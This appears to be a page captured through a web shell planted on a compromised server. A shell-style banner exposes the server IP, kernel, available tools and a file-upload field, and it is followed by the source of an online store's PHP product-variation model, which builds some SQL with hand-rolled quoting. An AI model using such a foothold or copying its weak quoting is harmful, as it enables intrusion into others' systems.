Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/theyoungdesigners_com/modules/storeVariation/model/ |
Upload File : |
<?php
// https://www.bestbuy.com/site/100-apple-gift-card-app-store-apple-music-itunes-iphone-ipad-airpods-accessories-and-more-digital/6421951.p?skuId=6421951
// change the product group if variations are not wanted
// then remove productcategory.json
class Variation_Model extends Database_Model {
private $variation_id;
private $DATA;
private $multiple;
public function VariationId() {
if (func_num_args()) {
$this->variation_id = func_get_arg(0);
$this->multiple = is_array($this->variation_id) && count($this->variation_id) > 1;
$this->Load();
return $this;
}
return $this->variation_id;
}
protected function Load() {
$this->Query("select * from `store_variation` left join store_varoption on so_variation=sv_id");
if (is_array($this->variation_id)) {
$this->WhereIn('sv_id', $this->variation_id);
$this->OrderBy('sv_id');
} else {
$this->Where('sv_id=%d', $this->variation_id);
}
$rows = $this->OrderBy('so_order')
->Get();
$this->DATA = [];
foreach($rows as $row) {
if (!isset($this->DATA[$row->sv_id])) {
$this->DATA[$row->sv_id] = [
'id' => $row->sv_id,
'caption' => $row->sv_caption,
'visual' => $row->sv_visual,
'class' => $row->sv_class,
'max' => 0,
'option' => [],
];
}
if (!is_null($row->so_caption)) {
if ($row->so_order > $this->DATA[$row->sv_id]['max']) {
$this->DATA[$row->sv_id]['max'] = $row->so_order;
}
$this->DATA[$row->sv_id]['option'][] = [
'key' => $row->so_id,
'value' => $row->so_caption,
];
}
}
}
public function SaveDetails($post) {
$record = $this->variation_id ? $this->variation_id : NULL;
$x = $this->TableName('store_variation')
->AutoInc('sv_id')
->InsertOrUpdate([
'sv_id' => $record,
],[
'sv_caption' => trim($post['sv_caption']),
]);
$this->DbErr();
$this->variation_id = (int) $x->sv_id;
$this->Load();
return TRUE;
}
public function addHandlebars(&$res) {
if (isset($res['variation'])) {
$this->VariationId($res['variation']);
$res['variation'] = $this->AsHandlebars();
}
}
public function AsHandlebars($variation_source = NULL) {
$result = [];
$variations = is_array($this->variation_id) ? $this->variation_id : [$this->variation_id];
foreach($variations as $variation) {
if (isset($this->DATA[$variation])) {
$node = $this->DATA[$variation];
if (!is_null($variation_source)) {
$parent = $variation_source[$variation] ?? '';
if ($parent != '') {
$node['parent'] = "(inherited from $parent)";
}
}
$result[] = $node;
}
}
return $result;
}
protected function firstVariation() {
$key = array_key_first($this->DATA);
return $this->DATA[$key];
}
public function AsHandlebars2() {
$node = $this->firstVariation();
$x = [
'sv_id' => $node['id'],
'sv_caption' => $node['caption'],
];
if (count($node['option'] ?? [])) {
$x['sv_option'] = $node['option'];
}
return $x;
}
public function CustomFields($rep) {
$rep->pagesize(25);
$col = $rep->AddColumn();
$col->name('sv_caption')
->caption('Variation')
->render(function($value, $item) {
$safevalue = htmlspecialchars($value);
$auth = hook_execute('nonce.create', FALSE, 'variation', $item->sv_id, 600);
return "<a href=\"/admin/product-variation?auth={$auth}\">$safevalue</a>";
});
$col = $rep->AddColumn();
$col->name('values')
->caption('Values')
->render(function($value) {
return str_replace('|', ', ', $value);
});
}
public function VariationList($rep, $numeric = FALSE) {
$sql = <<<'BLOCK'
select sv.*,
GROUP_CONCAT(so_caption ORDER BY so_order ASC SEPARATOR '|') AS `values`
from `store_variation` as sv
left join `store_varoption` as so on sv_id=so_variation
BLOCK;
$data2 = [];
if (is_null($rep)) {
$data = $this->Query($sql)
->GroupBy('sv_id')
->Get();
foreach($data as $row) {
$data2[] = [
'key' => $row->sv_id,
'value' => $row->sv_caption,
];
}
return $data2;
} else {
$data = $rep->Query($sql)
->GroupBy('sv_id')
->Execute();
/*if ($numeric) {
foreach($data as $row) {
$data2[] = [ $row['sv_caption']['disp'], $row['values']['disp'] ];
}
return ['data' => $data2];
} */
return ['data' => $data];
}
}
public function AsPopupAdd() {
$node = $this->firstVariation();
return [
'title' => 'Add Variation Options',
'template' => 'store_variation_popup',
'width' => 500,
'sv_id' => $node['id'],
'modal' => true,
];
}
public function saveOptions($post) {
$values = trim(str_replace("\r\n", "\n", $post['values'] ?? ''));
$elements = explode("\n", $values);
// remove elements already present
$node = $this->firstVariation();
$names = array_column($node['option'], 'value');
foreach($elements as $index => $name) {
if (in_array($name, $names)) unset($elements[$index]);
}
// add remaining
if (count($elements)) {
$this->TableName('store_varoption');
$max = $node['max'];
foreach($elements as $name) {
if ($name != '') {
$max++;
$this->InsertOrUpdate([
'so_variation' => $node['id'],
'so_caption' => $name,
],[
'so_order' => $max,
]);
}
}
}
}
public function ProductGroupSave(&$result, $id, $post) {
}
function escape($value) {
return '"' . str_replace(array("\\", '"', "\n", "\r", "\t", "\0"),
array("\\\\", '\\"', "\\n", "\\r", "\\t", "\\0"), $value) . '"';
}
protected function _reorder($data, $tablename, $idfield, $record_id, $keyfield, $order) {
$case = '';
foreach($data as $key => $item) {
$safevalue = $this->escape($key);
$case .= " when $keyfield = {$safevalue} then {$item['new']} ";
}
$sql = "update $tablename set $order = case $case else $order end";
$this->Query($sql)
->Where("{$idfield}=%d", $record_id)
->Get();
$this->DbErr();
}
public function Reorder($order) {
$reorder = [];
$rows = $this->Query('select * from `store_varoption`')
->Where('so_variation=%d', $this->variation_id)
->Get();
foreach($rows as $row) {
$reorder[$row->so_caption] = [ 'original' => (int) $row->so_order ];
}
foreach($order as $index => $value) {
$reorder[$value]['new'] = $index + 1;
}
$this->_reorder($reorder, 'store_varoption', 'so_variation', $this->variation_id, 'so_caption', 'so_order');
return 1;
}
public function getNextVariationTag() {
$sql = 'select max(sp_variation) as m from `store_product`';
$row = $this->Query($sql)
->Get()
->First();
return intval($row->m) + 1;
}
public function setVariationTag($product_id, $tag) {
$this->TableName('store_product')
->InsertOrUpdate([
'sp_id' => $product_id,
],[
'sp_variation' => $tag,
]);
}
public function InlineEdit($option_id, $newvalue) {
$this->TableName('store_varoption')
->InsertOrUpdate([
'so_id' => $option_id,
],[
'so_caption' => $newvalue,
]);
$this->DbErr();
}
}